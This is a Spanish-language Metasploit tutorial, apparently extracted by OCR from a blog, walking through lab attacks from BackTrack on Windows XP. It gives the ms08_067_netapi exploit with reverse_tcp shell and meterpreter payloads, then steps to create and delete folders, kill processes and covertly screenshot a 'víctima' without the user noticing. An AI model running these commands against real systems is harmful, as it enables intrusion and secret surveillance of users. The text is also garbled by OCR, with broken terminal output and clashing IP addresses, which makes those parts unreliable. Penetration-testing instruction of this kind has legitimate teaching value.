Lo definiremos como una herramienta GNU escrita en Perl y con utilizacién de diversos
lenguajes de programacion como C, Python, ASM, entre otros. Este se ejecuta bajo una
consola CYGWIN.

Para tenerlo bien claro definiremos un pequefo glosario de lo utiliza Metasploit:

FrameWork: En el desarrollo de software, un Framework es una estructura de soporte definida
en la cual otro proyecto de software puede ser organizado y desarrollado. Un framework puede
incluir soporte de programas, librerias y un lenguaje de scripting entre otros softwares para
ayudar a desarrollar y unir los diferentes componentes de un proyecto.

Exploit:Viene de to exploit “aprovechar”. Codigo escrito con el fin de aprovechar un error de
programacién para obtener diversos privilegios.

Shell: Parte fundamental de un sistema operativo encargada de ejecutar las érdenes bdsicas
para el manejo del sistema. Suelen incorporar caracteristicas tales como control de procesos,
redireccion de entrada/salida y un lenguaje de érdenes para escribir programas por lotes o
scripts.

GNU: Es un acrénimo recursivo que significa “GNU No es Unix”. Se sugiere que se pronuncie

Nu. UNIX es un sistema estable. Fue disefado para ser totalmente compatible con UNIX.

CYGWIN: Es una consola UNIX emulada bajo entornos no Unix, como son Windows y Mac, en
ella se encuentran todos los comandos unix y funciona de la misma manera.
2.- ;Como Trabaja?
Con una base de datos en la cual se encuentran toda la lista de exploits y vulnerabilidades, lo
Unico que tenemos que indicarle a Metasploit es que vulnerabilidad, sistema y que tipo de
ataque utilizaremos y datos diversos que utilizara para atacar al host.
Se llama Metasploit Framework porque es todo un entorno de testeo para diversas plataformas,
la cual trabaja con librerias, bases de datos, y diversos programas, shell, codes, etc. Por tal
deja de ser un simple software.
3.- Modalidades
Antes que nada Metasploit puede ser descargado de:
http:/ /www.metasploit.com/
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Trabaja en 2 modalidades las cuales se pueden ejecutar en todas las plataformas y para elegir

una es cuestion de gustos y comodidad.
3.1 Modo Web

Esta modalidad de Metasploit es una manera muy comoda de trabajar ya que aqui toda la
interface es web y no tienes que escribir mucho, todo lo demas consiste en seleccionar opcion
por opcién y al final solo presionar un botén de “Exploit” para comenzar con el ataque,
también tiene su modalidad de ataque por Shell el cual lo maneja por secciones, para entrar a
este modo, lo Unico que se tiene que hacer es abrir el archivo msfweb.bat de Metasploit, lo
cual hara que aparezca un mensaje como este:

+—-=[ Metasploit Framework Web Interface (127.0.0.1:55555)
Una vez mostrado este mensaje solo es de ir a cualquier navegador web y entrar a la
direccién http://127.0.0.1:55555, y desde esta pagina realizar los ataques y trabajo con
Metasploit.
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*

Arkeia Backup Client Remote Access

- Arkeia Backun Client Tvoe 77 Overflow [Mac 05 X1
Nota: Si cierras la consola msfweb.bat la pagina web dejara de cargar, es necesario que este en

ejecucion para hacer tus ataques.
3.2 Modo Consola
El modo de consola de Metasploit aunque es un poco mas engorroso trabajar con él, suele

funcionar de una manera mas rapida y a veces mejor, para ejecutarlo, tienes que ejecutar el

archivo msfconsole.bat de la carpeta de Metasploit. E ir trabajando por medio de comandos en
lugar de una interface:



http://127.0.0.1:55555/
https://losindestructibles.files.wordpress.com/2011/10/metasploit-web.png

* root@bt: ~
e Edit Wi T

4.- ;Cual es el Objetivo?
Es el desarrollo, testeo, mejora y penetracion a diversos sistemas, entre ellos Windows.
5.- Diagramas
Esquema comdn en la web:

Victimas

Atacante

Victimas

Atacante Firewall

6.- Ataques de CREACION Y BORRADO DE CARPETAS, ELIMINACION DE PROCESOS,
SCREENSHOT

Para la siguiente demostracion debemos instalar los sistemas operativos:
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e Back Track 5 (ATACANTE).

ce hack | track [=

Windows XP SP3 (VICTIMA).

Recomendacidn: En general previo a todos los procedimientos para atacar, debemos considerar
que la red entre las maquinas ya esté establecida (haciéndole los respectivos ping) y al mismo

tiempo abrir las herramientas del Metasploit.
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Hascara de subred . . . . . . . . : 255.255.255.8
Puerta de enlace predeterminada :

CisDocuments and Settings™emna’ping 172.168.78.7
Haciendo ping a 192.168.78.7 con 32 bytes de datos:

Respuesta desde 192.168.78.7: bytes=32 tiempo=%ms TTL=128
Respuesta desde 192.168.78.7: bhytes=32 tiempo<im TTL=128
Rezpiuesta desde 192.168.78.7: hytes=32 tieapo<im TTL=128
Respuesta desde 192.168.78.7: hytes=32 tiempo<in TTL=128

Eztadisticas de ping para 192.168.78.7:
Paguetes: enviados 4, recibidos 4, perdidos
(B perdidos),

MTiempos aproximados de lda vy vuelta en milisegundos:
Minimo = Bmz, Miximo = Ins, Media = 2nmz

CisDocuments and Settingsena?

Siga los pasos que se muestran a continuacién para realizar los mencionados ATAQUES
METASPLOIT:

6.1 CREACION Y BORRADO DE CARPETAS
A manera general se realiza una simple creacién y borrado de carpetas cualquiera pero
mediante un “Shell” para entender mejor el termino se refiere especificamente al manejo del
sistema operativo es decir ejecuta las 6rdenes bdsicas de este y vamos a acceder sin que el
usuario de la maquina victima se dé cuenta.
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Se siguen los pasos detallados a continuacion:
1.- Digitamos la siguiente ruta para que se ubique en modo consola: msfconsole
2.- A continuacion digitamos la siguiente ruta: use exploit/windows/smb/ms08_067_netapi
3.- El prompt de la consola, que antes solo decia “msf”, ahora cambiara, y debemos escribir
ahi esta ruta: set payload windows/ shell /reverse_tcp
4.- Escribimos el comando set rhost <IP VICTIMA> en nuestro caso serd 192.168.70.7 y el
comando especifico sera: set rhost 192.168.70.7
5.— Escribimos el comando set Ihost <IP ATACANTE> en nuestro caso sera 192.168.70.5 y el
comando especifico sera: set lhost 192.168.70.5
6.- Con los pardmetros ya configurados, hacemos que Back Track lance el ataque con la
instruccién: exploit

~ w ¥ root@bt: -

File Edit View Terminal Help

wilndows,

7.- Se mostraran una serie de lineas que nos indican que se estan creando las respectivas
sesiones que permiten perpetrar el respectivo ataque.

8.- En el nuevo prompt, nos daremos cuenta que ahora dird “C:\”, esto quiere decir que ya
accesamos al sistema de Windows.
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9.- Para salir del sistema y ubicarnos en el directorio C: ejecutamos el comando cd\
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10.- Una vez adentro procedemos a crear nuestra carpeta con el comando mkdir<nombre del
archivo> a la cual llamaremos hacker y el comando especifico sera: mkdir hacker
A » root@ht: e
File Edit View Terminal Help
192

11.- Una vez hecho esto vamos a nuestra maquina victima a Mi PC accedemos a Disco Local

C: y vemos que se ha creado exitosamente nuestra carpeta hacker
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12.- Regresamos al Back Track y procedemos a eliminar la carpeta creada y ejecutamos el
comando rmdir<nombre del archivo> a la cual llamamos hacker y el comando especifico
sera: rmdir hacker
* root@bt: ~
Terminal Help

13.- Regresamos nuevamente al Windows y vemos que se ha borrado exitosamente nuestra
carpeta hacker. Y Listo ese es todo el ataque!!l.



https://losindestructibles.files.wordpress.com/2011/10/bt58.png
https://losindestructibles.files.wordpress.com/2011/10/bt592.png

Aechvs Edoon Ve Fevortod  Femaeenba  Apsda I'.|

G;.u.h * T s Carpatin

.

J Documarin ared Setirge

el = ok GEMH TR 0
Posible Problema: Se nos podria presentar algunos problemas uno de esto seria que digitemos
algun comando mal y nos salga que fallé algin modulo “Failed to load module”; o que se
completd el exploit pero que no se cred la sesién “Exploit completed, but no session was
created” y asi varios que basicamente se remiten a errores de sintaxis.

Solucién Rapida: Dominar un poco el inglés e interpretar lo que nos dice o lo mas éptimo seria
buscar un traductor ya sea este un ejecutable o en la web y en el caso de que no se establecié

la sesién podria ser que la Maquina Victima no se encuentra prendida o no esta en red.
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6.2 ELIMINACION DE PROCESOS
Hay que destacar que seguimos en el shell siga los pasos detallados a continuacién:

1.- Digitamos la siguiente ruta para que se ubique en modo consola: msfconsole

2.- A continuacién digitamos la siguiente ruta: use exploit/windows/smb/ms08_067_netapi
3.- El prompt de la consola, que antes solo decia “msf”, ahora cambiara, y debemos escribir
ahi esta ruta: set payload windows /meterpreter/reverse_tcp

4.- Escribimos el comando set rhost <IP VICTIMA> en nuestro caso serd 192.168.70.7 y el
comando especifico sera: set rhost 192.168.70.7

5.— Escribimos el comando set Ihost <IP ATACANTE> en nuestro caso serd 192.168.70.5 y el
comando especifico sera: set lhost 192.168.70.5

6.- Con los parametros ya configurados, hacemos que Back Track lance el ataque con la

instruccién: exploit
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Terminal Help

7.- Se mostraran una serie de lineas que nos indican que se estan creando las respectivas

sesiones que permiten perpetrar el respectivo ataque.

8.- En el nuevo prompt, que ahora dird “meterpreter”, digitamos la instruccién ps

9.- Se muestra una serie de co6digos, junto al proceso que representan en la maquina victima;
es decir, nos permitira ver los procesos activos de la maquina victima los cuales podemos

cerrar.
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11.- Regresamos al Back Track y volvemos a digitar la instruccion ps
12.- Se deberd anadir el proceso del cmd.exe

/;,J;f
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13.- Procedemos a escribir la instruccion kill <NUMERO DE PROCESO>, donde NUMERO DE

PROCESO es algun proceso de Windows que esta corriendo en este momento en nuestro caso

vamos a matar el proceso del cmd y el comando especifico sera: kill 3144



https://losindestructibles.files.wordpress.com/2011/10/bt515.png
https://losindestructibles.files.wordpress.com/2011/10/bt516.png

~ « ¥ root@bt: ~
File Edit View Termina

1986 VMwareTray.exe (36 ; EVELYN=FC2S5BC 1\ EMc

uIJDLwSxalJth;h wyauclt. exe

I-I Il]DLIhI
3144

WWINDOWSY

14.- Regresamos al windows y nos damos cuenta que se cerr6 el cmd. Y listo ese es el
ataquelll.
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Nota: Deben tener en cuenta que no en todas las maquinas vienen definidos los mismos
numeros de puertos por eso listamos con la instruccién “ps” para chequear especificamente el
puerto deseado.
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e
6.3 ATAQUE DE SCREENSHOT
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Para tenerlo mas claro un screenshot nos permite, de manera sigilosa, “tomar una foto” de la
accién que esté realizando el usuario, y tener conocimiento de la clase de acciones que toma
mientras estd conectado a una red. Por ejemplo, si queremos saber qué tipo de acciones
realiza el usuario mientras esta en el directorio C: podemos tomar un screenshot de todo el
contenido de este sin que se dé cuenta.

Se siguen los pasos detallados a continuacion:

1.- Digitamos la siguiente ruta para que se ubique en modo consola: msfconsole

2.- A continuacion digitamos la siguiente ruta: use exploit/windows/smb/ms08_067_netapi
3.- El prompt de la consola, que antes solo decia “msf”, ahora cambiara, y debemos escribir
ahi esta ruta: set payload windows/meterpreter/reverse_tcp

4. Escribimos el comando set rhost <IP VICTIMA> en nuestro caso sera 192.168.70.7 y el
comando especifico sera: set rhost 192.168.70.7

5.— Escribimos el comando set Ihost <IP ATACANTE> en nuestro caso sera 192.168.70.5 y el
comando especifico sera: set lhost 192.168.70.5

6.- Con los pardmetros ya configurados, hacemos que Back Track lance el ataque con la
instruccion:exploit

{ ~ v x root@bt: ~
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This copy of the Metaspl Framework was 1a updated :

We recommend that you update the framework at least every otherday:

For information on updat your copy of Metasploit, please see:
https://community.rapid7.com/docs/DOC-1306

msf = use explait/windows/smub/ms88 0867 Netapi

msf exploit( ) = s&t payload windows/m
payload => windows/meterpreter/reverse tcp

msf exploitl ) = set rhost 192.168.78.7
rhost == 192.168.78.7

msf exploit( > set lhost 192.168.78.
lhost => 192.168.78.5

msf exploit( ) > exploit

7.- Se mostraran una serie de lineas que nos indican que se estan creando las respectivas
sesiones que permiten perpetrar el respectivo ataque.

8.- En el nuevo prompt, que ahora dira “meterpreter”, digitamos la instruccién ps

9.- Se muestra una serie de codigos, junto al proceso que representan en la maquina victima;
es decir, nos permitira ver los procesos activos de la maquina victima a los que podemos
tomarles un screenshot.
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10.- Se escribe la instruccién migrate <PUERTO>, donde PUERTO es el nimero de proceso de

alguna tarea en Windows en nuestro caso vamos a tomarle una foto a explorer.exe y el
comando especifico serd: migrate 1396.

root@bt: ~
View Terminal

Lt W =

File Edit Help

VICIU TORAL

s\VMwareTray.exe
EVELYN-EC255BC1)
exe
YN-EC255BC1\em
EVELYN-EC255BC 1\ &

BC1
EVELYN-EC255BC1"

xB6 8 EVELYN-EC255BC1\e
are Toals\TPAutoConnect.exe
6 i EVELYN=EC255BE]1"\ 2

EVELYN-EC255BC1\ &



https://losindestructibles.files.wordpress.com/2011/10/bt522.png
https://losindestructibles.files.wordpress.com/2011/10/bt523.png

Nota: Deben tener en cuenta que no en todas las maquinas vienen definidos los mismos
numeros de puertos por eso listamos con la instruccién “ps” para chequear especificamente el

puerto deseado.
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11.- Se espera a que se migre al respectivo puerto a la espera de la siguiente orden, y una
vez realizado el proceso, se escribe la instruccién use espia.
' * root@bt: ~

Edit View Terminal Help

12.- La instruccién anterior empezara a hacer un sniffing sobre el puerto determinado. Para
tomar el screenshot respectivo, digitamos screenshot /<nombre del archivo><extensién del
archivo> en nuestro caso lo [lamaremos cap_info.bmp y el comando especifico

serd: screenshot / cap_info.bmp
Nota: Tenga presente que esta extensién siempre serd .bmp
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13.- La imagen tomada se guardara en una ruta de Back Track, la cual por lo general
es: /root/ FumrxHxC_jpg
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Nota: Tenga en cuenta que el nombre y la extensién de la foto se ha cambiado

automaticamente a FumrxHxC.jpg esto lo hace el Back Track.
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14.- Y listo ese es todo el ataque!ll,
0jO: Si se fijan en los ejemplos mencionados cabe destacar que en general se ejecutan los
mismos pasos basicamente pero cada de estos ataques tienen comandos especificos que hacen
gue se diferencien los unos de los otros.
Dejamos aqui algunos videos relacionados con lo explicado anteriormente:
Chequeo IP:
http://www.youtube.com/watch?v=NDrmc647g3A
Ataque de creacion y borrado de carpetas:
http://www.youtube.com/watch?v=Mp2B0uCzyt4
Ataque de eliminacién de procesos:
http://www.youtube.com/watch?v=__b4FI1Pi8w
Ataque de SCREENSHOT:
http://www.youtube.com/watch?v=GXES1RTvAm4

Esperamos que sean de mucha ayuda!!!.
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